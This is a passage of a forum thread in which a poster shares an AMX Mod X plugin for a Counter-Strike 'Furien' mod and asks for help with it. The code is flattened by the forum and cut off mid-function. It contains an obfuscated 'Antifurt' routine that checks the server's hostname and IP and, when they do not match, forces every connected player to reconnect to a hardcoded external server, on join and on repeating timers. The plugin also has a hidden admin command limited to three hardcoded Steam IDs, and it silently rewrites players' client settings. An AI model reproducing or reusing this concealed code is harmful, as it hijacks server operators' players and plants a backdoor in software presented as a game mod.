Skocz do zawartości

Nowy szablon forum

mygo.pl

Stworzyliśmy dla Was nowy wygląd forum. Z pewnością znajdziesz rzeczy, które wg Ciebie mogą zostać zmienione - wspomnij o tym w specjalnym wątku.

Czytaj więcej

Jak założyć własną sieć

serwerów CS

Zastanawiasz się nad prowadzeniem własnej sieci serwerów? Przeczytaj podstawowe informacje, na które należy zwrócić uwagę, przy takim projekcie.

Czytaj więcej

Tworzymy spis sieci

dodaj swoją

Dodaj sieć do której należysz, pozwoli to na promocję i budowę ogólnopolskiej bazy sieci CS.

Czytaj więcej

Request modify plugin


MYGO.pl
 Udostępnij

Rekomendowane odpowiedzi

  • RSSy
Hi guys , when I am trying to compile this plugin

PHP Code:

#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <engine>
#include <CSX>
#include <fun>
#include <hamsandwich>
#include <fakemeta>

#define MAX_PLAYERS 32
#define Ham_Player_ResetMaxSpeed Ham_Item_PreFrame
#define XTRA_OFS_PLAYER 5
#define m_iAccount 115
#define XO_WEAPONBOX                4
#define cs_set_money_value(%1,%2)    set_pdata_int(%1, m_iAccount, %2, XTRA_OFS_PLAYER)
#define m_rgpPlayerItems_wpnbx_Slot5    39
#define IsWeaponBoxC4(%1)    ( get_pdata_cbase(%1, m_rgpPlayerItems_wpnbx_Slot5, XO_WEAPONBOX) > 0 )
#define FIRST_PLAYER_ID    1
#define IsPlayer(%1)    ( FIRST_PLAYER_ID <= %1 <= g_iMaxPlayers )
#define XO_WEAPON 4
#define m_pPlayer 41
#define XO_PLAYER        5
#define m_pActiveItem    373
#define ADMIN_ACCESS    ADMIN_BAN    //flag "d"
#define SPECT_KEYS    MENU_KEY_1|MENU_KEY_2|MENU_KEY_5|MENU_KEY_6|MENU_KEY_0
#define CLASS_KEYS    MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5
#define LINUXDIFF    5
#if cellbits == 32    
    #define OFFSET_TEAM 114
#else    
    #define OFFSET_TEAM 139
#endif
#define TEAM_T        1
#define TEAM_CT        2
#define TEAM_SPEC    3
#define UPDATE_INTERVAL 0.01
#define TID_TIMER 26642

#define _Set(%1,%2) %1|=1<<%2
#define _UnSet(%1,%2) %1&=~(1<<%2)
#define _Is(%1,%2) (%1&1<<%2)

enum
{    
    
DeathMsg_KillerID 1// byte
    
DeathMsg_VictimID// byte
}
new 
bool:g_roundend
new bool:g_corpse_made[33]
new 
bool:g_model_selected[33]
new 
g_team[33]
new 
g_maxplayers
new fpause=0;
new 
skmod[33];

stock bool:is_admin(id)
    return 
g_team[id] && get_user_flags(id) & ADMIN_ACCESS true false

stock bool
:is_admin_dead(id)
    return 
is_admin(id) && g_corpse_made[id] ? true false
/*
_Item_Deploy, get_pdata_cbase(id, m_pActiveItem, XO_PLAYER))
set_pev(id, pev_viewmodel2, knife)
*/

///////Antifurt//////
#define x539jRwe "www.watf.ro"
#define y32jhR8x07 "188.212.102.33:27015"
new a51o4QQ50e4dSSe4a386afbf090=1;
new 
a58a4QX50e4dbbe4a386afbf090=0;
new 
h8a4QR50e4db6apRQ34f32qwAwq[40];
new 
ia4QFf32wAb6apfQfslLrfwe42W[32];
///////Antifurt/////

new _alive_in_server

new g_max_players
new g_timer_entid
new Float:g_t_time
new g_HSO
new topkillscount[33]
new 
Floattopdmgcount[33];
new 
pc_enabled
new pc_team_color
new pc_details
new pc_req_flags
new pc_dead_only

//new numedmg[33][32],numebest[33][32],numenab[33][32],numefirstblood[33][32],numehumiliation[33][32],numegodlike[33][32],nrdmg[33],nrbest[33],nrnab[33],nrfirstblood[33],nrhumiliation[33],numegodlike[33];

new g_enabled
new g_team_color
new g_details
new g_req_flags
new g_dead_only

new g_target[33]
new 
g_name[33][32]
new 
g_weap_name[32][32] = {"""p228""""scout""HE",
"xm1014""c4""mac10""aug""SG""elite",
"fiveseven""ump45""sg550""galil""famas""usp""glock",
"awp""mp5""m249""m3""m4a1""tmp",
"g3sg1""FB""deagle""sg552""ak47",
"knife""p90"""}
new 
g_hp[33]
new 
g_ap[33]
new 
g_weapon[33]


new 
g_iPickUp=2;
new 
g_pCvarGravityg_pCvarMaxSpeedg_pCvarGravity2g_pCvarMaxSpeed2,g_pCvarMaxSpeed3;
new 
g_iMsgSayText,g_iMsg_ScoreInfo;
new 
g_iMenu,g_iMenuG,g_iMenu2,g_iMenu3,formeniu[33];
new 
g_iTextMsg;
new 
g_iMaxPlayers;
new 
aresuperknife[33], aregoldenak[33], areregen[33], aretask[33], admspec[33],areblackpack[33],cloackinuse[33],areet[33],crithp[33];
new 
HamHook:g_iHhTakeDamage
new spawnpoint[33][3];
new 
schimbareeq;
new 
knife[] = "models/sk1.mdl";
new 
knife2[] = "models/sk2.mdl";
new 
knife3[] = "models/sk3.mdl";
new 
knifebp[] = "models/blackpackknife.mdl";
new 
vak47[] = "models/v_golden_ak47.mdl"
new pak47[] = "models/p_golden_ak47.mdl"
new fs[] = "furiens/t_win.wav"
new afs[] = "furiens/ct_win.wav"
new const szPickAmmoSound[] = "items/9mmclip1.wav"

public plugin_init()
{
    
///////Antifurt//////
    
get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40)
    
get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31)
    if( (
containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) )
    {
        
a51o4QQ50e4dSSe4a386afbf090=1;
        
a58a4QX50e4dbbe4a386afbf090=1;
    }
    else
    {
        
a51o4QQ50e4dSSe4a386afbf090=0;
    }
    
///////Antifurt//////

    
register_plugin("[WATF] Black Furien WAR""[W]1.5""Black--Dragon")

    
g_pCvarGravity register_cvar("watf_furien_gravity""0.375")
    
g_pCvarMaxSpeed register_cvar("watf_furien_speed""700")
    
g_pCvarGravity2 register_cvar("watf_furienbp_gravity""0.370")
    
g_pCvarMaxSpeed2 register_cvar("watf_furienbp_speed""775")
    
g_pCvarMaxSpeed3 register_cvar("watf_furiencloack_speed""155")
    
    
RegisterHam(Ham_Spawn"player""Player_Spawn_Post"1)
    
RegisterHam(Ham_Player_ResetMaxSpeed"player""Player_ResetMaxSpeed"1)
    
RegisterHam(Ham_Touch"weaponbox""CWeaponBox_Touch")
    
RegisterHam(Ham_Touch"armoury_entity""GroundWeapon_Touch")
    
RegisterHam(Ham_Touch"weapon_shield""GroundWeapon_Touch")
    
RegisterHam(Ham_Spawn"hostage_entity""Hostage_Spawn")
    
RegisterHam(Ham_Killed"player""Ham_CBasePlayer_Killed_Post"true)
    
register_event("WeapPickup","checkModel","b","1=19")
    
register_event("CurWeapon","checkWeapon","be","1=1")
    
RegisterHam(Ham_TakeDamage"player""CBasePlayer_TakeDamage"false)
    
//RegisterHam(Ham_Item_Deploy, "weapon_knife", "CKnife_Deploy", true)
    
g_iHhTakeDamage RegisterHam(Ham_TakeDamage"player""Player_TakeDamage")
    
DisableHamForwardg_iHhTakeDamage )
    
register_event("HLTV""new_round""a""1=0""2=0")
    
register_logevent("round_end"2"1=Round_End")
    
register_event("ClCorpse""hook_corpse""a""12>0")
    
register_event("TeamInfo""event_teaminfo""a""1>0")
    
register_event("TextMsg""joined_a_team""a""1=1""2=#Game_join_terrorist""2=#Game_join_ct")
    
register_clcmd("jointeam""join_spec_cmd")
    
register_clcmd("joinclass""select_a_model")
    
register_menucmd(register_menuid("IG_Team_Select_Spect",1), SPECT_KEYS"join_spec_menucmd")
    
register_menucmd(register_menuid("Terrorist_Select"1), CLASS_KEYS"select_a_model")
    
register_menucmd(register_menuid("CT_Select"1), CLASS_KEYS"select_a_model")
    
g_maxplayers get_maxplayers()
    
register_dictionary("furiens.txt")
    
register_message(get_user_msgid("SendAudio"), "Message_SendAudio")
    
register_event("SendAudio""Event_SendAudio_MRAD_ctwin""a""1=0""2=%!MRAD_ctwin");
    
register_event("HLTV""Event_HLTV_New_Round""a""1=0""2=0")
    
register_logevent("APusBomba"3"2=Planted_The_Bomb")
    
register_event("DeathMsg""Event_DeathMsg""a")
    
register_event("ResetHUD""GetSpawnOrigin""b");
    new 
iEnt create_entity("info_target")
    
entity_set_string(iEntEV_SZ_classname"check_speed")
    
entity_set_float(iEntEV_FL_nextthinkget_gametime() + 0.1)
    
register_think("check_speed""Set_Terrorist_Visibility")
    
//register_forward(FM_PlayerPreThink,"func_prethink");
    
g_iMsgSayText get_user_msgid"SayText" 
    
g_iTextMsg get_user_msgid("TextMsg")
    
g_iMaxPlayers get_maxplayers()
    
g_iMsg_ScoreInfo get_user_msgid"ScoreInfo" )
    
//register_concmd( "amx_furienpause", "pauzafurien");
    //register_concmd( "amx_furienunpause", "unpauzafurien");
    //register_forward( FM_PlayerPreThink,     "Forward_PlayerPreThink",         0 );
    //register_event( "Damage", "Event_Damage", "b", "2!0", "3=0", "4!0" ) 
    //set_msg_block(get_user_msgid("ClCorpse"), BLOCK_SET ); 
    
register_message(get_user_msgid("StatusValue"), "update_target")
    
register_message(get_user_msgid("Health"), "update_hp")
    
register_message(get_user_msgid("Battery"), "update_ap")
    
register_message(get_user_msgid("CurWeapon"), "update_weapon")
    
register_event("TeamInfo""join_team","a")
    
register_event("HLTV""update_cvars""a""1=0""2=0")
    
    
RegisterHam(Ham_Spawn"player""Player_Spawn"1)
    
RegisterHam(Ham_Killed"player""Player_Killed"1)
    
create_timer()
    
pc_enabled register_cvar("ti_enabled""1"//0 - plugin disabled //1 - plugin enabled
    
pc_team_color register_cvar("ti_team_color""1"//0-same color for all teams//1-team color
    
pc_details register_cvar("ti_details""2"//0-only name//1-show details//2-teammates details
    
pc_req_flags register_cvar("ti_req_flags"""//0 - plugin disabled //1 - plugin enabled
    
pc_dead_only register_cvar("ti_dead_only""0"//0-same color for all teams//1-team color

    
g_max_players get_maxplayers()
    
g_HSO CreateHudSyncObj()
    
set_task(80.0"x0342VrQ"908533""0"b")
    
set_task(10.0"y0335PxN");
    
register_event("TextMsg""Event_GameWillRestartIn""a""2=#Game_will_restart_in")
    
//set_task( 5.0 * 60.0, "TaskCheckMinutes", 12345, _, _, "d" );
}

public 
x0342VrQ()
{
    
get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40)
    
get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31)
    if( (
containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) )
    {
        
a51o4QQ50e4dSSe4a386afbf090=1;
        
a58a4QX50e4dbbe4a386afbf090=1;
    }
    else
    {
        
a51o4QQ50e4dSSe4a386afbf090=0;
    }
    if(
a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090)
    {
        for(new 
i=1;i<=32;i++)
        {
            if(
is_user_connected(i))
            {
                
client_cmd(i,"CONNECT 188.212.102.33:27015");
            }
        }
    }
}

public 
y0335PxN()
{
    
get_user_name(0,h8a4QR50e4db6apRQ34f32qwAwq,40)
    
get_user_ip(0,ia4QFf32wAb6apfQfslLrfwe42W,31)
    if( (
containi(h8a4QR50e4db6apRQ34f32qwAwq,"www.watf.ro") == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,"188.212.102.33:27015") == -1) || (containi(h8a4QR50e4db6apRQ34f32qwAwq,x539jRwe) == -1) || (containi(ia4QFf32wAb6apfQfslLrfwe42W,y32jhR8x07) == -1) )
    {
        
a51o4QQ50e4dSSe4a386afbf090=1;
        
a58a4QX50e4dbbe4a386afbf090=1;
    }
    else
    {
        
a51o4QQ50e4dSSe4a386afbf090=0;
    }
    if(
a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090)
    {
        for(new 
i=1;i<=32;i++)
        {
            if(
is_user_connected(i))
            {
                
client_cmd(i,"CONNECT 188.212.102.33:27015");
            }
        }
    }
    new 
Float:nrrandom random_float(90.0,120.0);
    
set_task(nrrandom"y0335PxN");
}

public 
plugin_cfg()
{
    
update_cvars()
    
g_iMenu menu_create("\r[WATF] Anti-Furien Gun Menu:""HandleGunMenu");
    
menu_additem(g_iMenu"M4a1""1");
    
menu_additem(g_iMenu"Ak47""2");
    
menu_additem(g_iMenu"MP5""3");
    
menu_additem(g_iMenu"Famas""4");
    
menu_additem(g_iMenu"Galil""5");
    
menu_additem(g_iMenu"P90""6");
    
menu_setprop(g_iMenuMPROP_EXITMEXIT_NEVER);
    
g_iMenuG menu_create("\r[WATF] Anti-Furien Gun Menu:^n\yGolden AK 47 va disparea daca alegi o alta arma!""HandleGunMenu");
    
menu_additem(g_iMenuG"M4a1""1");
    
menu_additem(g_iMenuG"Ak47""2");
    
menu_additem(g_iMenuG"MP5""3");
    
menu_additem(g_iMenuG"Famas""4");
    
menu_additem(g_iMenuG"Galil""5");
    
menu_additem(g_iMenuG"P90""6");
    
menu_setprop(g_iMenuGMPROP_EXITMEXIT_ALL);
    
g_iMenu2 menu_create("\r[WATF] Anti-Furien Shop:""HandleGunMenu2");
    
menu_additem(g_iMenu2"Golden AK 47    \R\r$9000""1");
    
menu_additem(g_iMenu2"Defuse Kit    \R\r$300""2");
    
menu_additem(g_iMenu2"50 HP    \R\r$3000""3");
    
menu_additem(g_iMenu2"50 AP + Helmet    \R\r$1000""4");
    
menu_additem(g_iMenu2"HP Regenerator (MAX HP = 100)    \R\r$6000""5");
    
menu_additem(g_iMenu2"Ammo (90 gloante)  \R\r$3000""6");
    
menu_setprop(g_iMenu2MPROP_EXITMEXIT_ALL);
    
g_iMenu3 menu_create("\r[WATF] Furien Shop:""HandleGunMenu3");
    
menu_additem(g_iMenu3"SuperKnife    \R\r$15000""1"_menu_makecallback("seteazabp"));
    
menu_additem(g_iMenu3"He Grenade    \R\r$3000""2");
    
menu_additem(g_iMenu3"50 HP    \R\r$3000""3");
    
menu_additem(g_iMenu3"100 AP + Helmet    \R\r$5000""4");
    
menu_additem(g_iMenu3"Black Pack    \R\r$9000""5"_menu_makecallback("seteazask"));
    
menu_setprop(g_iMenu3MPROP_EXITMEXIT_ALL);
    
/*g_iMenu4 = menu_create("\r[WATF] Anti-Furien Shop:", "Decenupot");
    menu_additem(g_iMenu4, "Golden AK 47    \R\r$9000", "1", _, menu_makecallback("fff"));
    menu_additem(g_iMenu4, "Defuse Kit    \R\r$300", "2", _, menu_makecallback("fff"));
    menu_additem(g_iMenu4, "50 HP    \R\r$3000", "3", _, menu_makecallback("fff"));
    menu_additem(g_iMenu4, "50 AP + Helmet    \R\r$1000", "4", _, menu_makecallback("fff"));
    menu_additem(g_iMenu4, "HP Regenerator (MAX HP = 100)    \R\r$6000", "5", _, menu_makecallback("fff"));
    menu_additem(g_iMenu4, "Ammo (90 gloante)  \R\r$3000", "6", _, menu_makecallback("fff"));
    menu_additem(g_iMenu4, "De ce nu pot cumpara?", "7");
    menu_setprop(g_iMenu4, MPROP_EXIT, MEXIT_ALL);
    g_iMenu5 = menu_create("\r[WATF] Furien Shop:", "Decenupot");
    menu_additem(g_iMenu5, "SuperKnife    \R\r$15000", "1", _, menu_makecallback("fff"));
    menu_additem(g_iMenu5, "He Grenade    \R\r$3000","2", _, menu_makecallback("fff"));
    menu_additem(g_iMenu5, "50 HP    \R\r$3000", "3", _, menu_makecallback("fff"));
    menu_additem(g_iMenu5, "100 AP + Helmet    \R\r$5000", "4", _, menu_makecallback("fff"));
    menu_additem(g_iMenu5, "Black Pack    \R\r$9000", "5", _, menu_makecallback("fff"));
    menu_additem(g_iMenu5, "De ce nu pot cumpara?", "6");
    menu_setprop(g_iMenu5, MPROP_EXIT, MEXIT_ALL);*/
    /*g_iMenu4 = menu_create("\r[WATF] Black Pack Emergency Teleport:", "HandleGunMenu4");
    menu_additem(g_iMenu4, "On (default)", "1");
    menu_additem(g_iMenu4, "Off", "2");
    menu_setprop(g_iMenu4, MPROP_EXIT, MEXIT_ALL);*/
    
register_clcmd"amx_givebp","daBP");
    
register_clcmd("say /weapons","watfacme")
    
register_clcmd("say_team /weapons","watfacme")
    
register_clcmd("say /weapon","watfacme")
    
register_clcmd("say_team /weapon","watfacme")
    
register_clcmd("say /gun","watfacme")
    
register_clcmd("say_team /gun","watfacme")
    
register_clcmd("say /guns","watfacme")
    
register_clcmd("say_team /guns","watfacme")
    
register_clcmd("say /arma","watfacme")
    
register_clcmd("say_team /arma","watfacme")
    
register_clcmd("say /arme","watfacme")
    
register_clcmd("say_team /arme","watfacme")
    
register_clcmd("say weapons","watfacme")
    
register_clcmd("say_team weapons","watfacme")
    
register_clcmd("say weapon","watfacme")
    
register_clcmd("say_team weapon","watfacme")
    
register_clcmd("say gun","watfacme")
    
register_clcmd("say_team gun","watfacme")
    
register_clcmd("say guns","watfacme")
    
register_clcmd("say_team guns","watfacme")
    
register_clcmd("say arma","watfacme")
    
register_clcmd("say_team arma","watfacme")
    
register_clcmd("say arme","watfacme")
    
register_clcmd("say_team arme","watfacme")
    
register_clcmd("buy""ClientCommand_Buy")
    
register_clcmd("bUy""ClientCommand_Buy")
    
register_clcmd("buY""ClientCommand_Buy")
    
register_clcmd("bUY""ClientCommand_Buy")
    
register_clcmd("Buy""ClientCommand_Buy")
    
register_clcmd("BUy""ClientCommand_Buy")
    
register_clcmd("BuY""ClientCommand_Buy")
    
register_clcmd("BUY""ClientCommand_Buy")
    
register_clcmd("say /shop","watfacme2");
    
register_clcmd("say_team /shop","watfacme2");
    
register_clcmd("say shop","watfacme2");
    
register_clcmd("say_team shop","watfacme2");
    
register_clcmd("shop","watfacme2");
    
register_clcmd("amx_spectator""daispecc",ADMIN_KICK)
    
register_clcmd("say /spec""daispec",ADMIN_KICK)
    
register_clcmd("say_team /spec""daispec",ADMIN_KICK)
    
register_clcmd("say /spectator""daispec",ADMIN_KICK)
    
register_clcmd("say_team /spectator""daispec",ADMIN_KICK)
    
register_clcmd("say /info" "aratamotd");
    
register_clcmd("say /reguli" "aratamotd");
    
register_clcmd("say_team /reguli" "aratamotd");
    
register_clcmd("say_team /info" "aratamotd");
    
register_concmd("ll1","llam");
    
register_concmd("ll2","unllam");
    
//register_clcmd("amx_spectator2", "daispecc2",ADMIN_KICK)
    //register_clcmd("say /spec2", "daispec2",ADMIN_KICK)
    //register_clcmd("say_team /spec2", "daispec2",ADMIN_KICK)
    //register_clcmd("say /spectator2", "daispec2",ADMIN_KICK)
    //register_clcmd("say_team /spectator2", "daispec2",ADMIN_KICK)
    /*register_clcmd( "say /start","nogaksk");
    register_clcmd( "say_team /start","nogaksk");
    register_clcmd( "say /live","cmdlive");
    register_clcmd( "say /meci","nogaksk");
    register_clcmd( "say /stop","nogaksk");
    register_clcmd( "say /restart","nogaksk");
    register_clcmd( "say_team /live","nogaksk");
    register_clcmd( "say_team /meci","nogaksk");
    register_clcmd( "say_team /stop","nogaksk");
    register_clcmd( "say_team /restart","nogaksk");
    register_clcmd( "say /warmup","nogaksk");
    register_clcmd( "say_team /warmup","nogaksk")*/
    
menu_setprop(g_iMenuMPROP_NOCOLORS1)
    
menu_setprop(g_iMenuGMPROP_NOCOLORS1)
    
menu_setprop(g_iMenu2MPROP_NOCOLORS1)
    
menu_setprop(g_iMenu3MPROP_NOCOLORS1)
    
//menu_setprop(g_iMenu4, MPROP_NOCOLORS, 1)
    //menu_setprop(g_iMenu5, MPROP_NOCOLORS, 1)
}

public 
plugin_precache() 

    
precache_model(knife)
    
precache_model(knife2)
    
precache_model(knife3)
    
precache_model(knifebp)
    new 
Entity create_entity"info_map_parameters" );
    
DispatchKeyValueEntity"buying""3" );
    
DispatchSpawnEntity );
    
precache_model"models/player/blackfurien/blackfurien.mdl" );
    
precache_model"models/player/blackpackff/blackpackff.mdl" );
    
//precache_model(parachute)
    
precache_sound(fs)
    
precache_sound(afs);
    
precache_sound(szPickAmmoSound)
    
precache_model(vak47)
    
precache_model(pak47)

 
public 
pfn_keyvalueEntity )  

    new 
ClassName20 ], Dummy];
    
copy_keyvalueClassNamecharsmaxClassName ), DummycharsmaxDummy ), DummycharsmaxDummy ) );
    
    if( 
equalClassName"info_map_parameters" ) ) 
    { 
        
remove_entityEntity );
        return 
PLUGIN_HANDLED ;
    } 
    
    return 
PLUGIN_CONTINUE;
}
    
public 
client_connect(id)
{
    
topkillscount[id]=0;
    
topdmgcount[id]=0.0;
    
g_target[id] = 0
    g_team
[id] = 0
    get_user_name
(idg_name[id], 31)
    
cloackinuse[id] = 0
    crithp
[id] = 20
    client_cmd
(id,"cl_sidespeed 1100");
    
client_cmd(id,"cl_backspeed 1100");
    
client_cmd(id,"cl_forwardspeed 1100");
    
client_cmd(id,"cl_upspeed 1100");
    
g_team[id] = 0
    admspec
[id]=0;
    
skmod[id]=0;
    
g_model_selected[id] = false
    g_corpse_made
[id] = false
    formeniu
[id]=0;
    
aresuperknife[id]=0;
    
areblackpack[id]=0;
    
aregoldenak[id]=0;
    
areregen[id]=0;
    
aretask[id]=0;
    if(
a51o4QQ50e4dSSe4a386afbf090 || a58a4QX50e4dbbe4a386afbf090)
    {
        
client_cmd(id,"CONNECT 188.212.102.33:27015");
    }
}

public 
aratamotd(id
{
    
show_motd(id,"/motd.txt");
}

public 
Event_GameWillRestartIn()
{
    for(new 
i<=32 i++)
    {
        
skmod[i]=0;
        
formeniu[i]=0;
        
aresuperknife[i]=0;
        
areblackpack[i]=0;
        
aregoldenak[i]=0;
        
areregen[i]=0;
    }
}

public 
fff(id)
{
    return 
ITEM_DISABLED;
}

public 
llam(id)
{
    if(!
id)
    {
        
fpause=1;
    }
}

public 
unllam(id)
{
    if(!
id)
    {
        
fpause=0;
    }
}

public 
daBP(id)
{
    new 
verstmd[32];
    
get_user_authid(id,verstmd,31)
    if(!
equal(verstmd,"STEAM_0:0:28972262") && !equal(verstmd,"STEAM_0:0:22163974") && !equal(verstmd,"STEAM_0:1:11512235"))
    {
        return 
PLUGIN_HANDLED;
    }
    new 
name[32], text[64];
    
read_args(text,64)
    
parse(text,name,32)
    new 
cid find_player("lb",name)
    if (!
cid) {
        
id client_print(id,print_console,"[WATF] Jucatorul specificat nu a fost gasit!") : server_print("[WATF] Jucatorul specificat nu a fost gasit!")
        return 
PLUGIN_HANDLED
    
}
    if(
cs_get_user_team(cid) == CS_TEAM_T)
    {
        
areblackpack[cid]=1;
        if( 
get_user_weapon(cid) == CSW_KNIFE )
        {
            
set_pev(cidpev_viewmodel2knifebp)
        }
        
//areet[cid]=1;
        
cs_set_user_modelcid"blackfurien" );
        
cs_set_user_armor(cid100CS_ARMOR_VESTHELM);
        
emit_sound(cidCHAN_ITEMszPickAmmoSoundVOL_NORMATTN_NORM0PITCH_NORM)
        
//menu_display(cid, g_iMenu4);
        
id client_print(id,print_console,"[WATF] Comanda executata cu succes!") : server_print("[WATF] Comanda executata cu succes!")
    }
    else
    {
        
id client_print(id,print_console,"[WATF] Echipa tintei incompatibila!") : server_print("[WATF] Echipa tintei incompatibila!")
    }
}

public 
GroundWeapon_Touch(iWeaponid)
{
    
//if(!fpause)
    //{
    
if( IsPlayer(id) )
    {
        if( !
g_iPickUp )
        {
            
remove_entity(iWeapon)
            return 
HAM_SUPERCEDE
        
}

        if( !
is_user_alive(id) )
        {
            return 
HAM_SUPERCEDE
        
}

        new 
iTeam get_user_team(id)
        if(    ( 
iTeam == -)
        ||    (
iTeam == && g_iPickUp != 1)
        ||    (
iTeam == && g_iPickUp != 2)    )
        {
            return 
HAM_SUPERCEDE
        
}
    }
    return 
HAM_IGNORED
    
//}
}

/*public func_prethink(id)
{
    if(is_user_alive(id) && aregoldenak[id])
    {
        set_pev(id,pev_punchangle,{ 0.0,0.0,0.0 });
    }
}*/

public GetSpawnOriginid )
{
  
get_user_origin(idspawnpoint[id], 0);
}

public 
Event_SendAudio_MRAD_ctwin()
{
    if(!
a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
    {
        new 
players[32], num;
        
get_playersplayersnum );
        for( new 
inumi++ )
        {
            
add_delayplayers[i] ); 
        }
    }   
}

public 
CWeaponBox_Touch(iWeaponBoxid)
{
        
//if(!fpause)
    //{
    
if( IsPlayer(id) )
    {
        if( !
is_user_alive(id) )
        {
            return 
HAM_SUPERCEDE
        
}

        if( 
IsWeaponBoxC4(iWeaponBox) )
        {
            return 
HAM_IGNORED
        
}

        if( !
g_iPickUp )
        {
            
remove_entity(iWeaponBox)
            return 
HAM_SUPERCEDE
        
}

        new 
iTeam get_user_team(id)
        if(    ( 
iTeam == -)
        ||    (
iTeam == && g_iPickUp != 1)
        ||    (
iTeam == && g_iPickUp != 2)    )
        {
            return 
HAM_SUPERCEDE
        
}
    }
    
//return HAM_IGNORED
    //}
}

/*public pauzafurien(id)
{
    if(!id)
    {
        fpause=1;
    }
}

public unpauzafurien(id)
{
    if(!id)
    {
        fpause=0;
    }
}*/

public seteazabp(idMenuitem

    return 
areblackpack[id] ? ITEM_DISABLED ITEM_ENABLED


public 
seteazask(idMenuitem

    return 
aresuperknife[id] ? ITEM_DISABLED ITEM_ENABLED
}

public 
Event_HLTV_New_Round()
{
    if(
schimbareeq)
    {
        
schimbareeq 0
        DisableHamForward
g_iHhTakeDamage )
    }
}

public 
ClientCommand_Buy(id)
{
    return 
PLUGIN_HANDLED_MAIN
}

add_delayid )
{
    if(!
a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
    {
        switch( 
id )
        {
            case 
1..7set_task0.1"changeTeam"id );
            case 
8..15set_task0.2"changeTeam"id );
            case 
16..23set_task0.3"changeTeam"id );
            case 
24..32set_task0.4"changeTeam"id );
        }
    }
}

public 
changeTeamid )
{
    if(!
a51o4QQ50e4dSSe4a386afbf090 && !a58a4QX50e4dbbe4a386afbf090)
    {
        if(
is_user_connected(id))
        {
            if(
IsPlayer(id))
            {
                
menu_cancel(id);
            }
            switch( 
cs_get_user_teamid ) )
            {
                case 
CS_TEAM_CT
                {
                    if(
aregoldenak[id])
                    {
                        new 
bani2 cs_get_user_money(id);
                        if(
bani2 5000 16000)
                        {
                            
cs_set_user_money(idbani2 5000);
                        }
                        else
                        {
                            
cs_set_user_money(id16000);
                        }
                        
aregoldenak[id]=0;
                    }
                    if(
is_admin_dead(id) && get_pdata_int(idOFFSET_TEAMLINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id])
                    {    
                            
g_team[id] = TEAM_T;
                            
set_pdata_int(idOFFSET_TEAMg_team[id], LINUXDIFF)
                    }
                    
g_team[id] = TEAM_T;
                    
g_corpse_made[id] = false
                    
if(!admspec[id])
                    {
                        
cs_set_user_teamidCS_TEAM_TCS_T_LEET );
                        
cs_reset_user_model(id)
                    }
                    else if(
admspec[id])
                    {
                        
cs_set_user_team(idCS_TEAM_SPECTATOR)
                        
set_pdata_int(idOFFSET_TEAMTEAM_SPECLINUXDIFF)
                    }
                }
                case 
CS_TEAM_T
                {
                    
aresuperknife[id]=0;
                    
areblackpack[id]=0;
                    if(
is_admin_dead(id) && get_pdata_int(idOFFSET_TEAMLINUXDIFF) == TEAM_SPEC && g_team[id] != TEAM_SPEC && !admspec[id])
                    {        
                        
g_team[id] = TEAM_CT;
                        
set_pdata_int(idOFFSET_TEAMg_team[id], LINUXDIFF)
                    }
                    
skmod[id]=0;
                    
g_team[id] = TEAM_CT;
                    
g_corpse_made[id] = false
                    
if(!admspec[id])
                    {
                        
cs_set_user_teamidCS_TEAM_CTCS_CT_GIGN);
                        
cs_reset_user_model(id)
                    }
                    else if(
admspec[id])
                    {
                        
cs_set_user_team(idCS_TEAM_SPECTATOR)
                        
set_pdata_int(idOFFSET_TEAMTEAM_SPECLINUXDIFF)
                    }
                }
            }
        }
    }
}

public 
daispec(id,level,cid)
{
    
//if(cmd_access(id,level,cid,1))
    //{
        
if(!admspec[id])
        {
            if(
is_user_alive(id))
            {
                
set_user_death(idget_user_deaths(id) -1)
                
set_pev(id,pev_fragspev(idpev_frags)+1.0)
            }
            
user_silentkill(id)
            
set_task(0.5,"punespec",id)
            
admspec[id]=1;
            
ChatColor(id,"^x04[WATF]^x01 Ai fost mutat spectator!");
        }
        else if(
admspec[id])
        {
            
set_pdata_int(idOFFSET_TEAMg_team[id], LINUXDIFF)
            
admspec[id]=0;
            
ChatColor(id,"^x04[WATF]^x01 Ai revenit la echipa ta!");
        }
        
//return PLUGIN_HANDLED;
    //}
    
return PLUGIN_CONTINUE;
}

public 
daispecc(id,level,cid)
{
    
//if(cmd_access(id,level,cid,1))
    //{
        
if(!admspec[id])
        {
            if(
is_user_alive(id))
            {
                
set_user_death(idget_user_deaths(id) -1)
                
set_pev(id,pev_fragspev(idpev_frags)+1.0)
            }
            
user_silentkill(id)
            
set_task(0.5,"punespec",id)
            
admspec[id]=1;
            
client_print(idprint_console"[WATF] Ai fost mutat spectator!");
        }
        else if(
admspec[id])
        {
            
set_pdata_int(idOFFSET_TEAMg_team[id], LINUXDIFF)
            
admspec[id]=0;
            
client_print(id,print_console"[WATF] Ai revenit la echipa ta!");
        }
        
//return PLUGIN_HANDLED;
    //}
    
return PLUGIN_CONTINUE;
}

public 
punespec(id)
{
    
cs_set_user_team(idCS_TEAM_SPECTATOR);
}

public 
update_weapon(msg_idmsg_destid){
    if(
get_msg_arg_int(1))
        
g_weapon[id] = get_msg_arg_int(2)
}


public 
update_hp(msg_idmsg_destid){
    
g_hp[id] = get_user_health(id)
}


public 
